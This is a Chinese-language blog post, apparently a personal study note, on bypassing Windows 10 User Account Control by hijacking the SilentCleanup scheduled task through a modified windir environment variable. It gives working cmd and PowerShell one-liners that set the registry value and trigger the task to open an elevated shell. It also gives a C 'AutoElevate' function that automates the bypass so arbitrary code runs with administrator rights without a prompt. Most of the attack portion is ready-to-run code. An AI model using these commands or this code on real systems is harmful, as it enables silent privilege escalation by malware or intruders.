huolong blog

windows 10下利用schtasks绕过uac

0x00 前言

最近在刷知乎的时候发现了一种早就被揭露但目前为止还未被修复的uac bypass手段,个人觉得其中的思路很有参考意义,故记录下来学习一下。

0x01 原理

这种uac bypass的原理是寻找权限控制不严格的程序进行劫持,以达到绕过uac使用管理员权限的shell。

0x02 利用方法

计划任务中的silentcleanup的关键信息如下:

<?xml version="1.0" encoding="UTF-16"?>
<Task xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <SecurityDescriptor>D:AI(A;;FA;;;BA)(A;;FA;;;SY)(A;;FRFX;;;AU)</SecurityDescriptor>
    <Source>$(@%systemroot%\system32\cleanmgr.exe,-1300)</Source>
    <Author>$(@%systemroot%\system32\cleanmgr.exe,-1300)</Author>
    <Description>$(@%systemroot%\system32\cleanmgr.exe,-1301)</Description>
    <URI>Microsoft\Windows\DiskCleanup\SilentCleanup</URI>
  </RegistrationInfo>
  <Principals>
    <Principal id="Authenticated Users">
      <GroupId>S-1-5-32-545</GroupId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <ExecutionTimeLimit>PT15M</ExecutionTimeLimit>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <StartWhenAvailable>true</StartWhenAvailable>
    <RunOnlyIfIdle>true</RunOnlyIfIdle>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>true</RestartOnIdle>
    </IdleSettings>
    <UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
    <MaintenanceSettings>
      <Period>P1D</Period>
      <Deadline>P1M</Deadline>
    </MaintenanceSettings>
  </Settings>
  <Triggers />
  <Actions Context="Authenticated Users">
    <Exec>
      <Command>%windir%\system32\cleanmgr.exe</Command>
      <Arguments>/autoclean /d %systemdrive%</Arguments>
    </Exec>
  </Actions>
</Task>

可以看到Authenticated Users表示普通用户权限即可启动而RunLevel为Highest表示以高权限启动。这就使得劫持该程序可以运行拥有管理员权限的shell进行操作。 打开SilentCleanup这一文件查看其中代码,可知它其实是运行了%windir%\system32\cleanmgr.exe /autoclean /d %systemdrive% 这一命令。我们只要将%windir%的环境变量进行修改即可实现对该程序的劫持。 比如说:将%windir%设置为C:\hack并在C:\hack\system32下将payload.exe保存为cleanmgr.exe那么在启动计划任务SilentCleanup时,就会以高权限运行代码.

0x03 具体代码实现

分为两种版本吧: 1.cmd版本

reg add hkcu\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f && REM " && schtasks /Run /TN Microsoft\Windows\DiskCleanup\SilentCleanup /I

2.powershell版本

reg add hkcu\Environment /v windir /d "powershell -noexit reg delete hkcu\Environment /v windir /f ; # " ; schtasks /Run /TN Microsoft\Windows\DiskCleanup\SilentCleanup /I

0X04 后续利用技巧

我写了一个AutoElevate的函数,可以使我们自己写的代码默认运行在高权限下而不弹出uac(并未关闭uac)

#include<stdio.h>
#include<Windows.h>
BOOL AutoElevate(char ** argv)
{
	char elevateCommand[260] = "add hkcu\\Environment /f /v windir /d \"";
	DWORD dwRetLen = 0;
	HANDLE TokenHandle = 0;
	TOKEN_ELEVATION IsAdmin;
	HANDLE CurProcHandle = GetCurrentProcess();
	lstrcat(elevateCommand, argv[0]);
	lstrcat(elevateCommand, " \"");
	OpenProcessToken(CurProcHandle, TOKEN_ALL_ACCESS, &TokenHandle);
	GetTokenInformation(TokenHandle, TokenElevation, &IsAdmin, sizeof(TOKEN_ELEVATION), &dwRetLen);
	if (IsAdmin.TokenIsElevated == 1)
	{
		ShellExecute(NULL, NULL, "reg.exe", "delete hkcu\\Environment /v windir /f", NULL, SW_HIDE);
		return TRUE;
	}
	else
	{
		ShellExecute(NULL, NULL, "reg.exe", elevateCommand, NULL, SW_HIDE);
		ShellExecute(NULL, NULL, "schtasks.exe", "/Run /TN Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I", NULL, SW_HIDE);
		return FALSE;
	}
}
int main(int argc, char* argv[], char* envp[])
{
	if (AutoElevate(argv))
	{
		system("cmd");
		//fill with your own code
	}
	else printf("error!");
	return 0;
}

运行结果是启动了管理员权限的cmd.我觉得不满意的地方是如果以非管理员权限打开程序时它会闪一个黑框框(即很快地运行又退出了),这对于强迫症来说是不可接受的,以后有时间再看看怎么改进吧.

总结

微软并未把uac当作安全的边界,这使得这个bug都过了一年多了还没修,当然这种bug或许造成的危害也不够大,并未引起人家重视,但是把这玩意当做漏洞利用链的一环还是可以的,多一个还未维修的漏洞,多一个思路.